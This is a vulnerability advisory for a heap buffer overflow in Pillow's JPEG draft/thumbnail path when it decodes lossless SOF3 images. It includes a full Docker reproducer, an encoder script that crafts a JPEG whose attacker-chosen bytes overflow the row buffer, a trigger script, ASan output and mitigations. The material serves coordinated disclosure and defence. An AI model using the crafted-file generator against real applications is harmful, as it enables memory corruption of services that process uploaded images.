
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 12.3.0
Patched in 13.0.0
Details
JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self._size and the tile extents to match, so _setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale_num/scale_denom, calls jpeg_start_decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output_width, cinfo.output_height or cinfo.out_color_components against state->xsize, state->ysize and state->bits.
libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale_denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.
The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.
At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):
src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() at :240, jpeg_read_scanlines() at :252, with no geometry check between them.src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits * state->xsize + 7) / 8.src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks _size, the tile extents and decoderconfig with no notion of lossless coding.src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).// src/libImaging/JpegDecode.c
if (context->scale > 1) {
context->cinfo.scale_num = 1;
context->cinfo.scale_denom = context->scale;
}
...
case 2:
if (!jpeg_start_decompress(&context->cinfo)) {
break;
}
state->state++;
/* fall through */
case 3:
ok = 1;
while (state->y < state->ysize) {
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);
Because state->ysize (ceil(H/s)) can never equal libjpeg's output_height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.
Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.
Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.
Threshold: draft() must select s >= 2, i.e. W // requested_w >= 2 and H // requested_h >= 2. For thumbnail((256,256)) with the default reducing_gap=2.0 that means W, H >= 1024.
Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET_COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make_sof3.py and trigger.py in an empty directory, then:
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
make_sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.
DockerfileFROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
wget gnupg lsb-release software-properties-common \
python3 python3-dev python3-pip python3-venv zlib1g-dev \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"
# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
&& cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
-DCMAKE_C_COMPILER=clang-20 \
-DCMAKE_C_FLAGS="$CFLAGS" \
-DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
&& cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt
# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
&& /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
&& CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
/venv/bin/pip install --no-build-isolation --no-deps . \
&& ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
&& LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
/venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"
COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
make_sof3.py#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.
Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys
W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer
class BitWriter:
def __init__(self):
self.out = bytearray()
self.acc = 0
self.n = 0
def put(self, value, nbits):
for i in range(nbits - 1, -1, -1):
self.acc = (self.acc << 1) | ((value >> i) & 1)
self.n += 1
if self.n == 8:
self.out.append(self.acc)
if self.acc == 0xFF:
self.out.append(0x00) # byte stuffing
self.acc = 0
self.n = 0
def flush(self):
while self.n:
self.put(1, 1)
return bytes(self.out)
# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}
def category(d):
if d == 0:
return 0
return abs(d).bit_length()
def build_pixels():
rows = []
for y in range(H):
row = bytearray()
while len(row) < W:
row += MARKER
rows.append(bytes(row[:W]))
return rows
def main(path):
rows = build_pixels()
bw = BitWriter()
prev = None
for y in range(H):
row = rows[y]
for x in range(W):
s = row[x]
if y == 0 and x == 0:
pred = 1 << 7 # 2^(P-1-Pt)
elif x == 0:
pred = prev[0] # Rb for first sample of a line
else:
pred = row[x - 1] # Ra, predictor 1
d = (s - pred) & 0xFFFF
if d >= 0x8000:
d -= 0x10000
ssss = category(d)
code, length = CODES[ssss]
bw.put(code, length)
if ssss:
v = d if d > 0 else d + (1 << ssss) - 1
bw.put(v & ((1 << ssss) - 1), ssss)
prev = row
entropy = bw.flush()
out = bytearray()
out += b"\xff\xd8" # SOI
# DHT: class 0 (DC/lossless), table id 0
dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
# SOF3: lossless, Huffman, sequential
sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
# SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
sos = bytes([1, 1, 0x00, 1, 0, 0])
out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
out += entropy
out += b"\xff\xd9" # EOI
with open(path, "wb") as f:
f.write(bytes(out))
print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")
if __name__ == "__main__":
main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")
trigger.pyimport sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
im.thumbnail((256, 256))
print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
print("exception: %r" % (e,), flush=True)
Validated output:
Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
#0 __asan_memcpy
#1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
#2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
#3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
#4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
#5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
#6 _decode /src/repo/src/decode.c:132:14
0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
#0 calloc
#1 _setimage /src/repo/src/decode.c:230:34
SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.
control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report
main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0.Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data.draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducing_gap=None), avoids the path in an application today.JERR_ARITH_NOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERR_SOF_UNSUPPORTED.Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.
This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.
Credit goes to Claude (Anthropic) and Ada Logics.
EPSS, exploit probability
Low0.32%
estimated chance of real-world exploitation in the next 30 days, higher than 23.7% of every CVE FIRST.org scores
Refreshed 10/20/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.